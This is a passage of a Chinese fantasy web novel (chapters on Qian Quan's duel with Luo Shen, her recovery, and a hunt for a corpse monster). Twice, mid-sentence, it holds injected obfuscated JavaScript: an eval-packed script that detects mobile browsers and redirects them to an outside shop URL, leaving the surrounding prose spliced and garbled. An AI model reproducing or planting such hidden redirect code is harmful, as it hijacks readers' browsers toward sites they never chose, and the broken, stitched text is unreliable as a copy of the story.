无心墙可以隔绝内外,哪方都看不到彼此情况。 墙内,上方闪电阵阵,簌簌冷风吹得人难以睁眼。潇泉立在一头,任长发衣摆翻飞,画符挡住对面从地下窜流过来的电击。 罗椮:“你就靠那符术挡?” 潇泉:“晚辈所学不多,就会这点伎俩。” 罗椮深吸一口气,接下来的招式恐怖雷霆,掌掌似刀。潇泉没有间隙地避着,不知疲倦,可这样下去不是办法,她总有疲惫乏累时,必须尽快扭转局面。 潇泉一掌倾出法力挡住所有雷霆攻击,周身灵气逐渐积多,几欲遮天,紧接着发出微不可察的破裂之音。 罗椮怒目一盯,握紧拳头,每次一挥都发出狠劲,噼里啪啦作响,但每拳也会被潇泉迅速避开,反击回来。 俩俩互不谦让,地面裂无可裂,碎声又密又快,其中一股电流误打误撞流进潇泉体内,她浑身发麻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17076861|194969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一颤,隐隐感觉这和之前的招式不同。 潇泉后知后觉,对方可能偷下绝招,即便不能让她痛快死去,也会废掉她大半功力。 此人心肠歹毒,不可掉以轻心。她双手合十拉出一道赤红电光,一柄霸气长剑从中慢慢穿出全身,稳稳落到潇泉手里。 罗椮微微愕然,冷笑道:“早听说赤霞剑难以驯化,很难驾驭,没想到与你十分相配。传闻果然不假,什么样的烂剑就喜欢什么样的烂人。” 潇泉负剑冷眉,“你还喜欢跟一把剑过不去?心胸未免太过狭窄。你这样的人,活不长。” 罗椮怒道:“放肆!这般口出狂言,今日我定要替你师父好好收拾你!” 潇泉:“你算什么东西,没资格替我师父管教!” 她挥剑而去,与对方的雷霆闪电缠斗成团,在这片混沌天地中形成恐怖至极的战场。 赤霞是十大神器中出名的不好驯驭,性情完全没有神性,喜欢跟潇泉一天到晚出去厮混。它的神力强大且嚣张,少有人敢直面对抗,剑仙白清鸣也奈何不了。 三百年来,赤霞从未认主,还是当年潇泉夸它好看,为其簪了一朵兰花,它便把另一把想认潇泉为主的神剑偷偷绑进棺材藏着,自己潇洒快活拜认潇泉为主。 当然,赤霞也因此被昆仑罚关在剑崖十年,不见天光,不闻世事。 本来潇泉是要重新佩剑的,但白清鸣跟昆仑长老说赤霞生性纨绔霸道,如今好不容易拜认主人,不如遂它心意,让它拜认潇泉为主。因为,它只听潇泉话。 昆仑思索来去,觉之有理,毅然答应。十年过后,赤霞从剑崖解放,正式与潇泉缔结契约。 此刻,面对罗椮的不屑辱骂,赤霞身冒神火,在潇泉的带领下成功烧到他胡子。 罗椮气惨近绝,出手越来越狠。 无心墙内战火如烟,外面人瞧不真切,怕出大事,已经有先见之明的去禀报华烨真人了。 战斗还在继续,潇泉把剑插入地下,地面裂出的缝隙流出明亮灼热的岩浆。罗椮难以下脚,一掌朝她飞空劈去。潇泉握紧剑柄,借力旋身避开。双方又斗十几回,最终把此方天地震得满地碎石,惨不忍睹。 乌云散去,华光照下,一道青白身影从天而降。 华烨真人缓缓落地,手持拂尘,怒不可遏道:“私斗乃昆仑禁忌!你们两个无视门规,还不速速去主宰那里求请开恩?!” 众人见华烨真人如见救星,纷纷松一口气。 看着被潇泉震裂的无心墙,罗椮几欲吐词,但华烨真人目光紧逼,不好多说什么。 潇泉比罗椮晚修几十年,纵使能耐再大,经历完这场激战仍有点吃不消,体内一阵酸麻。她屏息凝神,强忍镇定,勉强站住脚跟。 罗椮瞪了一眼潇泉,拂袖去主宰那儿请罪了,潇泉也朝华烨真人拜别,认罪去了。 闹剧终于结束。 华烨真人是出了名的温良儒雅真君子,大家看他动了真脾气,对事发过程一五一十道出,不敢有任何隐瞒。 武执笔专门审了闻尘,闻尘不善言辞,把所见所闻一并道尽。另外一位少年没那么坦荡,武执笔见怪不怪,直接飞信传讯给宫家主母。 传音那边表明态度,该怎么处置就怎么处置。宫榷连连喊娘,对方不予回应,随即切断传讯。 好好的师会被搅成这鬼样子,传出去不知被多少人笑话,主宰险些破口大骂,对犯事几人作了严肃处理,特别是罗椮。 别人结果如何,潇泉懒得在乎,领完罚便暂搁听学之行,带闻尘回了青泽。 那日,白清鸣立在山口,什么都没说。潇泉还未行礼,一个跟头栽倒在地,陷入晕厥。她被抬回云霄殿,有洛昭昭寸步不离照顾着,门口轮流换人守殿。 一天一夜过去,潇泉恢复精力苏醒,洛昭昭赶紧叫一名守殿仙侍禀报宗主,又叫另一个去熬药。 洛昭昭趴在榻边,一脸沮丧,“师姐你终于醒了,我以为你会躺很久。虽然宗主说你只是被电晕,但我还是好担心。” 潇泉静坐缓神片刻,扯着虚弱嗓子骂道:“那老不死的,雷公转世吧……你知道吗?他这人有病,骂我觉得不够,还骂我佩剑。还好赤霞不是吃亏的性子,冒火给他胡子烧了。” 洛昭昭给她倒水,“噗嗤”一声道:“师姐,我怎么看你好像打得不够痛快?我觉得适可而止吧,毕竟对方是宫家主母一眼认定的孩子师父,不会差到哪里去的,也不好惹。不过师姐你也不差,非常厉害。” “那当然。”潇泉毫无羞耻之心,“我可是师父亲定的剑道传人。” “那师姐还去听学吗?” “我又没做亏心事,为什么要怕见人?” “说得也是。”洛昭昭点头,“宗主说,如果你还执意听学,等过一阵再去,先在家好好休息。” 那真是谢天谢地了,刚打完一架,潇泉巴不得好好休息。 没多久,仙侍端着药汤进殿,洛昭昭接碗坐在床边喂潇泉,潇泉一边哀嚎一边喝道:“烫烫烫,烫死老娘了。” 洛昭昭无奈,“师姐,你少这样自称,万一被小师弟听到,形象不好。” “……形象?”潇泉指向自己,“你确定我在他面前还有形象可言?” 洛昭昭拿调羹的手一抖,“师姐可以装一装。” “装不了,我会死。”潇泉倒坐下去,斜斜躺着,“我本来话多好动,让我装文静温婉,不如一刀劈死我。懂什么叫患难见真情吗?我只有暴露本性,才知道他是不是真的愿意跟我。再说,我没当他面花天酒地算不错了,这点算什么?还有,我这把年纪确实可以当娘了哈哈哈哈哈。” 洛昭昭:“师姐……” 话音未落,殿外传来一阵脚步,潇泉立时安静倾听,忙收敛坐姿躺好继续喝药。 雪发女子停在房门口,伸手将身后闻尘推到前方。 殿内无声顷刻,潇泉率先打破死寂,“师会一战,不是我寻衅滋事在先,不过您要是骂呢,弟子没有意见。” 白清鸣沉默不语,命人抱来一盆昙花,“明夜昙花一现,你取它用药。” 潇泉笑而不语,白清鸣又道:“宫家那边我会处理,这几日你安心养伤即可。” 送完东西,她以不扰潇泉歇息为由,兀自离去。 潇泉呆呆望着门口发呆,思绪慢慢转到闻尘身上,想起在师会对他的劝诫以及他的出现,嘴角扬开笑容,喃喃道:“这就是你的答案吗?” 洛昭昭没听清,“什么?” 潇泉:“没什么。” 仙身疗愈较快,她修养几日便恢复如初,开始传授徒弟本领。 闻尘在庭院练功强身健体,潇泉则在旁边树上睡觉或荡秋千,偶尔捉点灵兽玩一玩当作消遣。一连多天下来,闻尘进步明显,为继续提升,潇泉想到一个绝妙之法。 青泽后山有一个叫百鸟林的地方,灵气浓郁纯净,白天夜里有各种精灵出没,雪白灵鸟最为常见。潇泉带闻尘穿着羽衣来到湖边,起术在水面激起圈圈涟漪,一座座石台自水中浮出,排成了一条过路桥。 二人走到湖心小岛,潇泉折下柳枝扔给闻尘,“用它把水里的鱼钓上来,好了叫我,我看会儿书。” 闻尘看着手中的柳条迟疑片刻,面无表情坐在岸石上,甩柳垂钓。 潇泉坐在椅上翻看书页,有时嘿嘿傻笑,有时哈哈大笑。 闻尘支颚看着水下惊跑的鱼毫无波澜,耐心等待鱼儿上钩,等成功钓上,他转身回头,却见潇泉已然阖目沉睡,呼吸安稳。 他定定看了半日,最后深深叹一口气,收好柳条坐在旁边等,直到潇泉醒来。 17. 问邪(一) 总说不记得这个不记得那个,可一回到故地,过去的事好似就发生在昨日,身临其境。 以前潇泉让闻尘钓,今日却反过来了,他还记仇的? 水帘洞那边没有丁点声音,潇泉抛掉柳条,回到亭里坐着,想看闻尘什么时候出来。等过一个时辰,某人领完罚,屁颠屁颠追过来,“怎么就你一个?百里大人呢?” 潇泉将手抵在唇边,示意宫璃安静,捡起柳条给他,“百里大人要你钓鱼上来,他待会儿来看。” 宫璃不太相信,“我钓?你没听错吧?” 潇泉:“不可能是我钓吧?你觉得我钓得上来?” 宫璃:“好好好,我钓我钓。” 这般妥协自屈,当真和宫家人性情不同。潇泉有点感慨,得亏是吃百家饭长大的,没被宫家家风荼毒彻底。 宫璃坐在岸边石上,把柳条放进水里,凝神聚气,没多久便钓上一条。 潇泉蹲在旁边问:“你和你哥的关系怎么样?” 宫璃:“就像寻常兄弟那样啊。我哥对我说严不严,说松不松。我在外头时他总骂我鬼混,母亲就会帮我说两句,大哥懒得跟她争,只让我记得回家,不能落下课业。” 潇泉:“那他知道你整日跟在百里大人身后吗?” “知道啊,他还知道我一直想拜百里大人为师呢。”宫璃一脸平静,“我知道百里大人对我的请求是有难处的,我也不想因此给他添麻烦。只要他不烦我,让我跟着,那也是好的。” 潇泉:“就这么喜欢跟着他?” 宫璃两眼发光,“法力高强,人帅又好!” 潇泉:“……” 趁钓鱼工夫,宫璃捡起一块石头施术,石头当即化身一朵莲花石雕。他拿给潇泉看,“你看,这是百里大人教我的。” 潇泉一愣,没想到闻尘还教他这个? 她温温一笑,“你猜是谁教他的?” 宫璃:“是谁?” 潇泉偷偷道:“是他师尊教的,你得叫一声祖师奶。” 宫璃不屑,“我就算叫她大魔头都不会叫祖师奶,人都死了,我还得敬奉她呀?她可是大魔头。” 潇泉掐他胳膊,“这话你最好别让她听到,小心狗命不保。在她面前你家百里大人就是一个不知天高地厚的臭小子,你更是如此,一只毛都没长齐的鸡崽子,掉水里都会淹死,还逞上能了?” 宫璃疼得哈腰歉,“我不说了不说了成吗?怎么说两句你就骂我,脾气这么差……不对,怎么我骂女魔头,你还掐起我来了?” 潇泉:“你又没见过她本人,怎么知道她是什么样?” “他们都这么说啊,那还有假?”宫璃张牙舞爪、龇牙咧嘴地佯装,“青面獠牙,赤红猩目,杀人嗜血,活脱脱一个大魔王好吧。” “他们说什么你就信什么?”潇泉不服,“她没你们传得那么凶神恶煞吧?” 宫璃:“你很了解她?” 潇泉:“不了解啊。” “哦。”宫璃低声,“那你说个屁。” 当他钓到第二条,水帘洞出现动静。一袭素白长袍越过水面荡起圈圈涟漪。闻尘静声落岸,水面复归平静。 潇泉没有夺回柳条,仰头托腮看闻尘什么反应。事实上,闻尘什么反应,他收回宫璃手中柳条,把鱼放回水里。 宫璃捶捶肩膀,嘟囔道:“百里大人,下回您能不能提前说一声啊?我这才面壁完,又叫来钓鱼,实在是撑不住了。” 潇泉跟着捏起自己的左膀右臂,“是啊是啊,我脖子也好疼。” 闻尘静静瞥来一眼,潇泉眨眼回视,默默把手挪到脖颈后面。 宫璃奇怪,“你也被拉上一起了?” 潇泉眯眯一笑,没有说他才是真正被拉上的那个。 百鸟林一行对潇泉没多大用处,她仍不知哪条路更适合自己,更不可能学以前的招数,否则很可能暴露身份。剑道第一座下的奇才弟子潇泉,早就弃仙成魔人人喊打了。 回到净香庭,闻尘随宫璃进入房间,潇泉则回到自己窝里。她生性好动,坐不住久,趁四下无人,跑去宫璃房间看他俩在干什么。 门没有关,潇泉一眼看尽房中情景,闻尘正在给宫璃抹药。 看到她来,两人皆是惊愕,宫璃抱起枕头挡住身体,“你怎么来了?我没穿衣服,你你你快出去!” 他动作剧烈,扯到伤口,一脸扭曲咬牙吞声。闻尘抓住他腿小心放好,继续把药涂抹在红肿膝上,“别动,容易扯伤筋骨。” 宫璃:“百里大人你能不能过去把门关了?你看她待在门口一直看着,我感觉我的清白之身要被她看没了。” 意外中的意外,一个高傲的纨绔子弟竟会羞于裸露。潇泉心中忍笑,转过身去望风,“谁知道你脱了衣服?再说我也没看啊,毛没长齐有什么好看的?” 确实没看见什么,也就是没衣服遮掩的上半身和大腿。这种场景潇泉又不是没见过,不足为奇,要是宫璃知道以前她还帮闻尘褪衣上药,他不得吓个半死? 闻尘过来合上房门,看着她道:“转过去。” 潇泉摸摸耳朵抱臂转身,待合门声落,咕哝道:“凶什么凶,我还看过你的呢。” 话音刚落,往屋内走的闻尘脚步微顿。 宫璃疑惑,“百里大人,你怎么了?” 闻尘坐下来重新拿起药瓶,“没怎么。” 宫璃摸摸下巴往外看,“百里大人,她刚刚说什么啊?” 闻尘:“不知。” “嗯?百里大人你听力不是很好吗?” “……” 筋骨皮肉之痛可以用药缓解调养,无需过多耗费精力,没多久潇泉便听到有人开门,打起精神准备说话,回头撞见闻尘那张淡薄的脸,恢复正色道:“刚刚我不是有意的。我找宫璃有事,他方便见人吗?” 闻尘:“什么事?” 潇泉:“秘密。” “方便,姐姐进来吧。”宫璃在房里唤。 闻尘没再追问,越过潇泉往庭外走去。潇泉看他走远,放心走进房间,把藏在身上的莲子酥递出去,“喏,给你的。” 宫璃穿好衣服,把被褥结结实实盖在身上,“怎么想起给我送吃的了?” 潇泉:“你有伤在身,我当然得拿点吃的来看你啊。还痛吗?” 宫璃脸色润和一点,“痛是肯定痛的。没办法,谁叫我先犯……”他撇嘴,把不相干的字眼憋了回去。 看他犹犹豫豫,潇泉试探问:“你讨厌他罚你吗?” 宫璃:“当然不会。百里大人是除家人以外最疼我的人,罚我也不是他想做的,是我自讨苦吃……他自己也苦啊,禁忌重罚有一半是因他而起。” 潇泉:“因为他偷学这个禁术?” “不止。”宫璃下意识道,旋即改口,“你别再问了,再问你也逃不过。” 潇泉故作害怕地抱住自己,“好,我不问了。” 问完想问的,她没再久留,早早回了自己房间。 她很意外闻尘会偷学禁术招魂,学它无异于与仙门作对,还会受到严惩,诸如众仙审判、剥去仙籍之类。闻尘犯下错事还居于尊位,想必过程发生了不小冲突,才有的今日结果。 对了,之前宫璃说他学这个,好像是招她的魂? 倘若成功了,他打算干什么? 不管如何,潇泉庆幸没有招魂成功。 不说闻尘意欲何为,她的存在对仙门就是一根刺,好像到哪儿都得被千刀万剐,活了还不如死了。 临近夜晚,潇泉总觉胸堵睡不着,冥思片晌,一个鲤鱼打挺下床,趴在窗边偷看外面有没有人。没见有人,她偷偷溜进庭院找到一块还算合眼缘的石头回房开始琢磨。 想起白日宫璃画的符术,潇泉开始仿画,每画一笔,石头就会变动形状,几笔下来,石头最终变成一个形状不规还缺少一条胳膊的乌龟石雕。 尽管没有太完美,潇泉却已满足,拿着石雕在床上翻来滚去看了又看,然后把它放在枕边,自己盖好被子睡了。 潇泉难得安稳睡眠,前半夜没有做梦,后半夜像是老天见不得她这么安稳,突然冒出各种见过或没见过的景物,还有形形色色的人擦肩而过。 她在梦里不受控制,来到一座辉丽宫殿门前。 这不是云霄殿,而是她在魔域的居所,白骨山。推开殿门,等待她的不是往常盛景,而是满地狼藉,周围空气火热无比,一片火海如海潮舔舐所有角落。 许多熟悉的陌生的惊恐的狰狞的脸庞往这边门口冲来,潇泉被一颗颗头死死咬住,被一只只手紧紧攥着,无数哀怨在耳边响起。 “焚荒一战,你害死多少性命!分明是你自己想死,为何要带上我们?!” “你是神魔,你能获得永生,那我们呢?好不容易在魔域扎根久居,有了老婆孩子,可你却为了一己私欲,毁了整个魔域!” “去死吧,去死吧你!” 火光蒙蔽潇泉双眼,她倏地看到另一个自己一袭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17087761|194969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 红袍出现在火海中,将这些妖魔全部化作缕缕黑烟在手中捏碎,一脸冷淡道:“没有我潇泉,你们活不到今天。既然不愿臣服于我,那就老老实实在地狱里给我待着,没有本君允许,你们谁也别想爬出来。” 如此霸道,如此可怖,潇泉自己本人都愣住,全然不记得自己何时这么暴戾无常过,正想开口问对方是不是故意冒牌自己,女子猛然上前掐住她脖颈,“你也去死。” 闹这么一出,潇泉垂死梦中惊坐起,惊魂未定捂着心口发呆。 好险,差点在梦中被自己杀掉,还好是梦。 潇泉不停吸气缓神,发觉房间外面周围有点吵闹,不知在干什么。来不及揣摩梦中意,她侧耳倾听,确定外面闹腾声音不是虚幻,迅速穿好衣服跑出房门。 外面,一众小辈围成一圈,叽叽喳喳火急火燎对闻尘说着什么,根本没人注意潇泉偷挤进来。 子弟门生:“百里大人,难道真是我们遗漏了?可杀伤力这么大的怪物,指邪针不可能没有感应,一定是出现了什么意外。事不宜迟,我们尽快出发吧!” 众子弟内心十分焦灼,都在想着怎么处理这事。 宫璃:“百里大人,我去帮你把千魂伞拿来。” 闻尘:“不必。” “带上好,以防外一!”宫璃飞快消失在夜色中。 闻尘知道不能再拖,带着弟子们往山下走。 潇泉一边跟着他们赶路,一边偷听,总算听明白了怎么回事。 他们抓完山鬼回青泽的第二晚,哀乐山邪气重生,一个看不清五官的活尸破解苏府所有防护,杀性大发,鸡犬不留。 苏老爷为护儿子,被那怪物掏穿肺腑而死,其余护卫死的死伤的伤,完全对付不了这个半路杀出来的怪物。逃亡者寥寥无几,惨之又惨,没跑几步就被追上活活掐断脖子。 两名来青泽报信的护卫是装死逃出,但说完便没了呼吸,死不瞑目。守山子弟大惊失色,第一时间通报闻尘,闻尘迅速赶到,先为两个惨死的护卫超度,再听弟子讲述事情的大致过程。 这就怪了,哀乐山妖气最重的山鬼已被缉拿,还有什么东西藏得如此之深,居然瞒过了所有人? 潇泉陷入沉思。 这时,宫璃已经抱来千魂伞快快跟上行伍,碰巧在人群中看到潇泉,眼睛瞪如鸭蛋,崩溃道:“姑奶奶!你怎么来了!” 众晚辈被他叫声吓到,纷纷回头。 宫璃拉着潇泉往回走,“太危险了,你不能去!” 潇泉拼命抱树不愿走,“我对奇闻怪事精通不少!不是说袭击苏府的是怪物?万一我知道它是怎么来的,可以给你们提供法子应对!” 宫璃:“你不要胡闹!那可是屠了满门的怪物,我们去都是胆战心惊,何况是你?” 潇泉:“我不管,我的命是你们救的,你们去哪我就去哪,打死不走。” 宫璃使劲把潇泉从树上拽下来,一只手却倏然搭在他肩上,“让她跟着。” “为什么?”宫璃扭头看着闻尘,一脸吃惊不解。 闻尘平静道:“有我在。” 这不是命令也不是嘱咐,仅仅是一句简单保证,所有晚辈一律噤声不敢多嘴。宫璃同样无话反驳,最终妥协松开潇泉。 众人加快脚步赶到哀乐山,走几步路就看到零零散散的尸体,空气弥漫着刺鼻巨味。 闻尘直冲苏府大门,府内遍地橫尸乱躺,苏老爷抱着儿子倒在地上,头不知掉到哪儿去,而怀中小孩浑身鲜血淋漓,已经死透。 看过不少血腥画面的潇泉此刻也拧紧眉头,分别在苏老爷和苏烈身上画下一道符咒,通过符术窥见了他们死前历经的场面。 潇泉一一记下,转头对闻尘道:“是一具深埋在地下多年的尸体变的,身体比常人健壮许多,有时行动缓慢,有时健步如飞。力量无穷,杀伤力极强,府中上下被它杀穿了,没有生还者。它现在在山中游荡,往那边去了。”她指向府外的西北方。 有门生讶然她会奇怪的术法,“你确定?” “是在西北。”闻尘来时就感受到了。 子弟:“那我们现在追?” 潇泉朝闻尘轻微摇了摇头。 闻尘偏头对弟子道:“你们在此净化魂灵,我和她去寻。宫璃,千魂伞留给你们了,有事立马传音。” 宫璃心有担忧,但还是遵守了命令,“你们早点回来。” 闻尘把千魂伞递给宫璃,只带潇泉一人进山,其余人暂时留在苏府。 18. 天生我材没有用(贰) 山中冷风簌簌,潇泉脸庞被吹得生疼,下意识挨在闻尘身后藏风。闻尘每步走得极轻极稳、不快不慢,她跟起来没有不用赶急,唯一不舒服的是风太刺骨。 几片干枯竹叶飘飞而来,潇泉余光隐隐瞥见,还没避开,闻尘先以袖拂开,说了一句她听不清的话。 潇泉:“什么?” 闻尘:“冷不冷。” “冷啊,当然冷。”潇泉打趣,“怎么,仙君要脱下外衣给我?恐怕这不合礼数吧。” 她故意噎他回不了话,闻尘也在她意料之中没有回应,但却递来一颗玉石吊坠,“戴上它。” 潇泉言谢一声,拿过来戴在脖子上,把玉石藏进衣襟里面,继续随他前行办正事。 短短两日,苏府落得如此下场,令人唏嘘。回想苏烈死状,潇泉感到分外割裂,前两天还跟她说话的孩子,今日就死成这样,着实有点难以接受。 忽然,闻尘停住脚步,潇泉察觉不对,眯起眼睛往前看,有几道黑影站立不动,杀气腾腾,不知是人是鬼。 潇泉扯他衣袖,“前面是活人还是死人?” 闻尘:“活人。” 没人会主动靠近哀乐山,这个节骨眼来的估计也是为了怪物一事。 他们慢慢走近看,发现来的不是几个,而是一群。为首的中年男人一脸文秀之气,身旁守着虎背熊腰佩大刀的侍卫,后面乌泱泱立着一群人影,看样子阵势不小。 中年男人目不转睛盯着潇泉和闻尘,看清他们脸后,凝重神情一下缓和不少,主动拱手道:“敢问可是百里仙君?您也是来抓妖的?这位是……” 闻尘颔首回礼,“门内弟子。” 出来一趟还能荣获青泽门生身份,潇泉分不清是赚了还是委屈了。 男人扯出勉强的笑,“老夫名叫陈士忠,坐在南山山庄。今日来哀乐山是为了寻人。多年前我儿在此失踪,与他绑定的命玉也七零八碎,不过就在昨晚,我儿的命玉忽然有了动静,守门的护卫说他亲眼看见命玉慢慢粘在了一起。我这次来,是想再找一找。” 照这么说,这个半路杀出来的怪物可能是他儿子变的? 哀乐山不是没发生过尸变,都是在地下被邪气侵蚀久了。为了吸收阳气满足食欲,变异成怪的尸体会寻找良机从地里爬出来杀人,这时就该轮到仙门上场奸除了。 今日是意外中的意外,惨状可以说是屈指可数,史无前例。 潇泉理解陈士忠当父亲的心情,可人死魂散,已无力回天,她道:“陈老爷,我们知道您念子心切,可苏府的惨状想必您也看见了,也可能已经猜出罪魁祸首。您说只要您儿子的尸首,这几乎不可能。人死这么多年,在邪气之地浸泡太久,肉身魂灵大有可能会被邪气控制。只要灭了邪祟,肉身便会毁。” 眼下情况,他儿子无疑被邪祟所控,很难做到保留尸身。 陈士忠目光移向闻尘,几乎是低声下气道:“百里仙君,您肯定有办法的对不对?我找了儿子这么多年,只求尸首两全,难道这也是错吗?” 闻尘表情依旧,看不出什么态度。潇泉捉摸不透,替他应道:“我们尽力,请诸位做好防身,不要被伤着。若不嫌弃,可以去苏府暂时一避。” 陈士忠摆手,“不不,我们分头寻,这样快些。” 潇泉:“当真?这怪物可是力大无穷,杀人如麻,你们碰见了怎么办?” 陈士忠拍拍身旁侍卫肩膀,“我贴身护卫出师于玄武洞,降过各种妖魔鬼怪,有自己的手段对付,女君不用担心。” 他坚决分头行动,潇泉不好再劝,和闻尘往另一个方向去了。 走到半路,潇泉忽道:“百里仙君,我想说个事。” 闻尘:“你说。” 潇泉:“我、我有点想回去了……” 夜下密林风起雾浓,属实不太正常。 闻尘回首看她,没有说话。潇泉厚着脸皮硬装,不曾想对方竟把腰间佩剑取下来给她,“走快点,别回头。” 潇泉受宠若惊接过银龙剑,匆忙抱剑离开了。 这孩子到底是真心好骗还是故意被她骗为之,她没有心思多想,只要得逞就行。 潇泉没有原路返回,抱着银龙剑往另一条山路赶去。像是知道她要做甚,银龙一震,脱出剑鞘,飞到她面前来回摆动剑尾。 “我知道你是担心我,可我原路返回本就是想去找那只怪物,试试能不能遂陈老爷心意。”潇泉摆手,“你别拦我了,回去吧。” 银龙哪会听她话,过来就要抓人,潇泉手疾眼快贴出画好的符纸定住它身,然后一掌把剑打飞到树里插着不能动了。趁它昏迷,潇泉赶紧归还剑鞘迅速开溜。 许是魔头做久了,她邪运依然好到离谱,还没走出这片山域,便听取鬼哭狼嚎一片。为防遇险,潇泉先躲在树后屏息细听周围的风吹草动。 低沉的呜哇夹杂着咀嚼和灵活地吸溜,潇泉可以轻易想象这只怪物狂野作呕的进食模样。她蹲下来循声偷窥,果然看到有团巨大黑影趴在地上进行啃食,此刻嘴巴发出闷闷脆响,像是在啃某种生灵的骨头。 潇泉掐掉旁边灌木的五片树叶,把它们依次摆在地上,两指合一,以血下咒。念完咒术,五片盎然翠绿的树叶瞬间变枯,被点点星火燃烧殆尽,阵法留在潇泉心中的只有一个“煞”字。 这不是普通傀尸,而是更加凶猛可怖的暴尸,不仅吃异类,也吃同类有灵识较聪慧,较难对付,因脾性暴躁而得名。 暴尸察觉潇泉的存在,大步流星朝这边跑来,飞快彪悍的速度让人不及反应。潇泉蹬腿爬到树上,抓空的暴尸一圈圈不停直击树身,疯狂生气怒吼。 潇泉跳到地上捡起一根木棍往暴尸背部打,每一棍都比上一棍有力。暴尸愤怒至极,转身张起血盆大口就咬,潇泉弯腰躲到它背后没再暴打,而是拔腿就跑。 暴尸对暗处大吼一声,有只和它差不多的怪物从中走出,不过是傀尸。 一打一够潇泉受的了,二打一她不得回炉重造了? 有个办法潇泉可以一试,但或许可能会引来没必要的注意……眼下保命要紧,再不济拿它俩垫背,自己死活不认,何况这么多年过去,她不一定能施展如初。 潇泉退到空地盘腿而坐,轻轻张嘴念念有词,周身气场随之变幻莫测,一头乌发同袖飞舞。不论眼瞳还是衣裳都在某一刻闪现殷红,尤其是她眉间若隐若现的红色印记,与百年前的神魔印记别无二致。 傀尸见状一脸恐惧,狼狈跪在地上,抱头啜泣。它是邪气所生的低阶怪物,会畏惧魔界强者。暴尸属于高一阶怪物,怕不怕神魔尽看邪主本事大小。 前世潇泉遇过许多妖魔鬼怪,挥手即可湮灭,根本不用关心哪些法子能对症下药,反正杀也是杀,简单粗暴最好。今时不同,她需要这些法子来对抗它们。 这次不能完全说失算,至少镇住了傀尸,赢至一对一局面。 潇泉捡起树枝想再试其他诡术,暴尸却发出诡异笑声,里面的邪主惊喜喃喃,说什么“神魔”“献祭”之类的话,然后钻出暴尸身体,飞进了她体内。 有那么一瞬,她感觉五脏六腑被一团扭曲紊乱的力量搅动拉扯,痛得她直冒冷汗,瘫倒在地,只能蠕动挣扎。 两魂共一体,邪主记忆无意灌入她脑海,潇泉也终于明白暴尸如何变化而来。 暴尸原身陈大少爷被邪祟活活咬死,心生怨念不肯投胎,想靠魂灵复仇,却再度被撕碎,尸体毫无尊严地被它们侵占。十年来,他的尸首不是被侵占就是在被侵占的路上。恰逢神魔重生,天降魔气令这具被邪祟霸占的尸体变为强大的暴尸。怕一出世就被斩毁,体内邪主装死到闻尘离开才敢出来大开杀戒。 这只邪主想霸占潇泉身体,是知道她身体没有借谁之身,生来就是她自己,或是神魔本尊。 它兴奋至极,想尽快吞噬掉潇泉灵魂,潇泉奋力抵抗,意识快要陷入无边黑暗,银龙破空而来,用剑鞘压着潇泉双手,以免她自伤。 潇泉暂时顾不得它,一掌拍开银龙,脖子手背断断续续冒出紫色青筋,瞳色趋于变红,体内有股熟悉又强大的力量不受控制与邪主争斗。 猛然间,邪主像受到猛兽攻击,惊惧万分,连滚带爬跑回暴尸体内,留下几分失控的潇泉。后者蜷缩成一团,死死咬手以痛觉保持清醒。 银龙见状,发出回响八方的剑鸣。 一抹紫影从夜色中奔来。 闻尘眉头轻拧,伸出指尖一弹,一股金蓝灵力从中迸发袭来,所过之处无不动荡,直将跪地的傀尸震得灰飞烟灭,另一边的暴尸在他赶来之时早已识趣跑远。 暴尸逃亡的背影他一眼不看,直落潇泉面前,抿唇盯她状态,把人带到之前那个山洞做为安顿之地。 昏迷之前,看到闻尘赶来的潇泉只有一个念头:完了,她估摸自己以后是跑不掉了……想到这里,她晕厥更快。 洞内,闻尘把潇泉摆好坐姿,他则坐在后面为她输送灵力驱除她体内残留未退的邪气。银龙在旁边瑟瑟发抖,朝闻尘不停晃动,像在诉说什么。 闻尘:“我知道。” 银龙指向上方,继续示意。 闻尘神容不动,“我在。” 银龙蓦地停住,突然神龙摆尾横冲直撞,上下左右晃个不停,看似抓狂实则抓狂。 闻尘捡起一颗石子敲它,“别吵。” 银龙叮叮震动两下,落在地上躺平,变成叫天天不应、喊地地不灵了。 山洞安静下来,忽然少女慢慢吞吞从地上爬起来四处走动,奇怪的是她没有睁眼,分明还在昏迷当中。闻尘默声观察,银龙也“起死回生”,溜到他身后露头窥探。 潇泉步伐稳重,好似对山洞的方位陈设很是熟悉,摸到桌边自然坐下,指尖扫过桌上酒樽,两手食指中指交叠并紧贴近眉心,失去光泽的酒樽倏地一闪生机,残余黄泉花魂缕缕飘向她眉心,那双灰青眉眼渐渐如常。 黄泉花在仙门属于秽物,能够熟练使用它,肯定对诡邪之术有一定掌握能力。闻尘不动声色蹲在桌前,拂净周围灰尘,看她还想干什么。 只见潇泉放下酒樽,伸开懒腰开始解衣,闻尘神色微变,迅速扭头起身后撤,顺带调转银龙剑头。衣服落地声响很轻,只响一次便再没听见。 闻尘保持站姿顷刻,慢慢回头,潇泉已然靠椅安详熟睡,双手双脚自然垂放,难得一副乖巧模样。他低眼凝思,开眼一看,潇泉体内没再有邪气缠绕,一如当初毫无慧根,干净素洁。 他凝视她良久,视线转落到地上那团柔软衣物之上,取出怀中红带子思量,似想到什么,指骨捏得发白颤抖。 